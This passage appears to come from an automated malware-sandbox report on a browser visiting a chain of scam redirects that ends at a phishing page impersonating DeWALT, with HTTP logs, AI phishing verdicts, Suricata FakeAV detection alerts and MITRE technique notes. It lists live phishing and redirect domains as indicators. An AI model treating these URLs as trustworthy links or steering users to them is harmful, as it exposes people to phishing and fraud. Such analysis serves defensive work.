alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1548&min_rtt=1536&rtt_var=600&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1384&delivery_rate=1788120&cwnd=226&unsent_bytes=0&cid=ae50624baabde5b2&ts=500&x=0"
2025-01-08 14:45:43 UTC	22	IN	Data Raw: 31 30 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 7d 0d 0a Data Ascii: 10{"success":true}
2025-01-08 14:45:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.16	49896	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:43 UTC	801	OUT	GET /new/67234/ajax.php/extensions/checktrafficnew/place HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:43 UTC	978	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:43 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache Cache-Control: max-age=0, no-cache, no-store, must-revalidate vary: Accept-Encoding,User-Agent pragma: no-cache expires: Wed, 11 Jan 1984 05:00:00 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n1fb0Bc868mwXr61Hb0cOmnrkxX2na3I%2BaNqlLb9OMpVq6C%2F5XyXbfEjJ19%2FgYfLrnySKI841S0BOJYFL5gL00VAkzqKaoBJFTpTNqO4i81F3UUhOpRVMZsL0GcQ1OHVh5j9Vnl45kC2KLLylg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf9126ce04291-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1682&min_rtt=1675&rtt_var=644&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1379&delivery_rate=1680092&cwnd=207&unsent_bytes=0&cid=cbe73f14aa4c104b&ts=204&x=0"
2025-01-08 14:45:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.16	49899	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:44 UTC	458	OUT	GET /new/67234/ajax.php/extensions/checktrafficnew/initialize HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:44 UTC	978	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:44 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache Cache-Control: max-age=0, no-cache, no-store, must-revalidate vary: Accept-Encoding,User-Agent pragma: no-cache expires: Wed, 11 Jan 1984 05:00:00 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ap7BsxNOJXgSB%2FnN9tBSuDjCtSqzJqNzSIgP%2FxnHTTFs6UivlTdvn%2FjcHJf285ZpAsaTAEM8MpEhvp0Ee0zV7nkwRXoEjL91evnq9oAOQgoOVHSYdpBS22PMqWfXS7TEii2svfCEyltWYadLMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf917f98443ca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1626&min_rtt=1624&rtt_var=613&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1036&delivery_rate=1777236&cwnd=223&unsent_bytes=0&cid=e6ad5d1154f5e18f&ts=180&x=0"
2025-01-08 14:45:44 UTC	67	IN	Data Raw: 33 64 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 6c 72 65 61 64 79 20 65 76 61 6c 75 61 74 65 64 20 66 6f 72 20 74 68 69 73 20 73 74 65 70 2e 22 7d 0d 0a Data Ascii: 3d{"success":true,"message":"Already evaluated for this step."}
2025-01-08 14:45:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.16	49901	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:44 UTC	453	OUT	GET /new/67234/ajax.php/extensions/checktrafficnew/place HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:44 UTC	978	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:44 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache Cache-Control: max-age=0, no-cache, no-store, must-revalidate vary: Accept-Encoding,User-Agent pragma: no-cache expires: Wed, 11 Jan 1984 05:00:00 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZKCLp%2BHjV20dzvgeEIXdJINNjMbYHX%2BYbFI26Y5LZj2LctcEo97CFyqXo3SSu6MOVkhElLnfYd5tVsLwv%2F0oHI2iYXzjOa3ff0njarydtdodu3FsTyOAnVVKRBvGK2PUVH8Pmr3CyaBpy7HuZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf9194dbb4262-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1701&min_rtt=1692&rtt_var=653&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1031&delivery_rate=1650650&cwnd=190&unsent_bytes=0&cid=3ae89d8395876292&ts=174&x=0"
2025-01-08 14:45:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.16	49902	35.190.80.1	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:46 UTC	536	OUT	OPTIONS /report/v4?s=LZqWB%2Ft28Dfx8PHyOgMrCAJiV7uVo8gcrbno95MM9mW7k9xzsCON4hDF5pIGdicEvBrAOvFeVoVnfuuuYTXIUSdzeHZZAtg%2Bl2YquPnkuHEq%2B7Fi0XRTzlsxdty1xnAsW2o%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://as6asdas54k.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:45:46 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 08 Jan 2025 14:45:45 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.16	49903	35.190.80.1	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:46 UTC	478	OUT	POST /report/v4?s=LZqWB%2Ft28Dfx8PHyOgMrCAJiV7uVo8gcrbno95MM9mW7k9xzsCON4hDF5pIGdicEvBrAOvFeVoVnfuuuYTXIUSdzeHZZAtg%2Bl2YquPnkuHEq%2B7Fi0XRTzlsxdty1xnAsW2o%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 497 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:45:46 UTC	497	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 39 30 37 37 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 32 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 64 75 65 6e 6e 61 73 75 73 74 65 6e 74 61 74 69 6f 6e 2e 6f 6e 6c 69 6e 65 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 37 34 2e 34 38 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 30 2c 22 74 79 70 65 22 3a 22 61 62 61 6e 64 6f 6e 65 64 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 Data Ascii: [{"age":9077,"body":{"elapsed_time":1225,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://duennasustentation.online/","sampling_fraction":1.0,"server_ip":"172.67.174.48","status_code":0,"type":"abandoned"},"type":"network-err
2025-01-08 14:45:46 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 08 Jan 2025 14:45:46 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	09:44:19
Start date:	08/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	09:44:20
Start date:	08/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1932,i,17864858847609454977,4056192639238687891,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:44:21
Start date:	08/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	Joe Sandbox AI: Score: 9 Reasons: DeWALT is a well-known brand associated with power tools and equipment., The legitimate domain for DeWALT is dewalt.com., The URL 'www.chargeswiftpath.online' does not match the legitimate domain for DeWALT., The domain 'chargeswiftpath.online' is unrelated to DeWALT and appears suspicious., The use of a generic and unrelated domain name is a common phishing tactic., The presence of input fields for personal information increases the risk of phishing. DOM: 3.6.pages.csv
Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	Joe Sandbox AI: Score: 9 Reasons: DeWALT is a well-known brand associated with power tools and equipment., The legitimate domain for DeWALT is typically 'dewalt.com'., The URL 'www.chargeswiftpath.online' does not match the legitimate domain for DeWALT., The domain 'chargeswiftpath.online' is unusual and not associated with DeWALT., The use of a generic domain extension '.online' and an unrelated domain name is suspicious., The presence of input fields for personal information increases the risk of phishing. DOM: 3.7.pages.csv

Source: 0.5.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://duennasustentation.online/?encoded_value=2... The use of `document.write()` to execute a dynamic function call (`datenhay()`) is a high-risk indicator, as it can enable remote code execution. This behavior is considered a security vulnerability and should be investigated further.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: http://vwi46h7.terraclicks.click/t/4fRUWo26099tRCA... This script exhibits high-risk behavior by redirecting the user to an unknown and potentially malicious domain after a short delay. The use of obfuscated query parameters in the URL is also a concerning indicator. While the script does not directly execute dynamic code or exfiltrate sensitive data, the combination of the redirect and the suspicious domain raises significant security concerns.
Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://duennasustentation.online/?encoded_value=2... This script demonstrates high-risk behavior by redirecting the user to an untrusted domain ('https://www.captureclickspath.com/cmp/2SFN28H/36LZDZ2/') without user consent. The use of `history.replaceState()` and `history.pushState()` to manipulate the browser's history and the `setTimeout()` function to trigger the redirect after a short delay are concerning. This script is likely attempting to perform a malicious redirect, which poses a significant risk to the user's security and privacy.
Source: 0.4.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://duennasustentation.online/?encoded_value=2... The use of `document.write()` to execute a function called `datenhax()` is a high-risk indicator, as it allows for dynamic code execution. This behavior is often associated with malicious scripts that can inject and execute arbitrary code on the page, posing a significant security risk.

Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	HTTP Parser: Form action: ajax.php?method=new_prospect
Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	HTTP Parser: Form action: ajax.php?method=new_prospect
Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	HTTP Parser: Form action: ajax.php?method=new_prospect
Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	HTTP Parser: Form action: ajax.php?method=new_prospect

Source: http://vwi46h7.terraclicks.click/t/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9	HTTP Parser: No favicon
Source: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com	HTTP Parser: No favicon
Source: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com	HTTP Parser: No favicon
Source: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com	HTTP Parser: No favicon
Source: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com	HTTP Parser: No favicon
Source: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com	HTTP Parser: No favicon

Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	HTTP Parser: No <meta name="author".. found
Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	HTTP Parser: No <meta name="author".. found
Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	HTTP Parser: No <meta name="author".. found
Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	HTTP Parser: No <meta name="author".. found

Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	HTTP Parser: No <meta name="copyright".. found
Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	HTTP Parser: No <meta name="copyright".. found
Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	HTTP Parser: No <meta name="copyright".. found
Source: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.loadurl24.com to https://www.clicknloader.com/2w1q1kk/2g76n4gf/?sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&source_id=20259&sub5=101311
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.clicknloader.com to https://duennasustentation.online/myzkgcw1sq9twnvclehuw-zwa1mwtnxgwh4hc/?encoded_value=223gdt1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.clicknloader.com to https://grizzlyprize.is/tracking/276/10/?subaff=1168&sub1=20259&sub2=3b7057e5c5a04afda410a207a8e334fc
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: grizzlyprize.is to https://www.biggestspinwins.com/abc/daily/?affid=10&c1=1168&c2=20259&c3=3b7057e5c5a04afda410a207a8e334fc&c4=&c5=dwltdrill&click_id=7c67edb9c18f447d8300c820019ccaeb
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.clicknloader.com to https://as6asdas54k.com/tracking/271/10/?subaff=1168&sub1=20259&sub2=614ced2708834ecea465b27492f3acf5
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: as6asdas54k.com to https://www.hypecataloguehub.com/t/7/z/?affid=10&c1=1168&c2=20259&c3=614ced2708834ecea465b27492f3acf5&c4=&c5=dwltdrill&click_id=542fb03cac6b436e9ab8913ce7140432
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.clicknloader.com to https://as6asdas54k.com/tracking/271/10/?subaff=1168&sub1=20259&sub2=e74551e5a4b843d1ad97991e1e3d8dd9
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.clicknloader.com to https://www.nrj1hs34m.com/fnx4r/31x75w/?sub1=1168&sub2=20259&sub3=6f473a6e83ea434a9eb5d559373bb682&sub5=
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.nrj1hs34m.com to https://www.chargeswiftpath.online/new/67234/?affid=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a

Source: Network traffic	Suricata IDS: 2012786 - Severity 2 - ET MALWARE DNS Query for Possible FakeAV Domain : 192.168.2.16:57338 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2012786 - Severity 2 - ET MALWARE DNS Query for Possible FakeAV Domain : 192.168.2.16:50215 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2012786 - Severity 2 - ET MALWARE DNS Query for Possible FakeAV Domain : 192.168.2.16:52422 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2012786 - Severity 2 - ET MALWARE DNS Query for Possible FakeAV Domain : 192.168.2.16:57246 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2012786 - Severity 2 - ET MALWARE DNS Query for Possible FakeAV Domain : 192.168.2.16:57847 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2012786 - Severity 2 - ET MALWARE DNS Query for Possible FakeAV Domain : 192.168.2.16:63200 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2012786 - Severity 2 - ET MALWARE DNS Query for Possible FakeAV Domain : 192.168.2.16:60334 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2012786 - Severity 2 - ET MALWARE DNS Query for Possible FakeAV Domain : 192.168.2.16:55223 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: vwi46h7.terraclicks.click
Source: global traffic	DNS traffic detected: DNS query: www.loadurl24.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.clicknloader.com
Source: global traffic	DNS traffic detected: DNS query: duennasustentation.online
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: trk-quantivex.com
Source: global traffic	DNS traffic detected: DNS query: secureanalytic.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: event.trk-quantivex.com
Source: global traffic	DNS traffic detected: DNS query: grizzlyprize.is
Source: global traffic	DNS traffic detected: DNS query: www.biggestspinwins.com
Source: global traffic	DNS traffic detected: DNS query: as6asdas54k.com
Source: global traffic	DNS traffic detected: DNS query: www.hypecataloguehub.com
Source: global traffic	DNS traffic detected: DNS query: www.nrj1hs34m.com
Source: global traffic	DNS traffic detected: DNS query: www.chargeswiftpath.online

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
